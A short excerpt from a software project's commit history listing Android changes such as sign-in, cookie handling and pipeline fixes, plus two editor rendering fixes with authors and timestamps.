- [chore(android): add stable/canary environment](72a96bfa5f )
- [feat(android): set cookies for apollo client](7664cc4f19 )
- [feat(android): google & magic-link sign-in](c54ce3b43b )
- [eat(android): change logo](8c5062adbc )
- [chore(android): fix pipleline](4a68299be4 )
- [fix(android): rebase issues](c6858c5ecf )
- [docs(android): update README for compat with java 21](6eac3ba0dc )
- [fix(android): android pipeline](1103c87880 )
2025-02-05 06:08:28 +00:00
Yifeng Wang
cbb73d8034
fix(editor): render position of repeated sentence ( #9948 )
2025-02-05 04:41:24 +00:00
Yifeng Wang
8afc50c730
fix(editor): support worker renderer zoom ( #9943 )
2025-02-05 12:16:06 +08:00